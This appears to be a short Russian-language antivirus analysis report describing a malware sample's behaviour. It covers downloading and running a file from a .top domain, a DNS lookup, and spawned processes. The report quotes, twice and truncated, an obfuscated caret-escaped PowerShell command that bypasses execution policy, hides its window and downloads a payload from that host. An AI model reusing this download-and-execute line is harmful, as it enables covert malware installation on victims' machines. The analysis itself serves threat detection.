Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://truthforeyoue.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "p^Ow^eRSheLl.e^xe -E^XEcu^t^io^nPO^L^Icy ^b^YPAss -^no^P^roFiLE -win^dO^wSTYLe hId^d^EN^ ^(NEw-^o^BJECT^ SySTEm.N^e^t^.^weBCLI^E^nT).^DOWN^LoaD^FI^le(^'http://truthforeyoue....
Сетевая активность
UDP
- DNS ASK tr####oreyoue.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "p^Ow^eRSheLl.e^xe -E^XEcu^t^io^nPO^L^Icy ^b^YPAss -^no^P^roFiLE -win^dO^wSTYLe hId^d^EN^ ^(NEw-^o^BJECT^ SySTEm.N^e^t^.^weBCLI^E^nT).^DOWN^LoaD^FI^le(^'http://truthforeyoue....' (со скрытым окном)
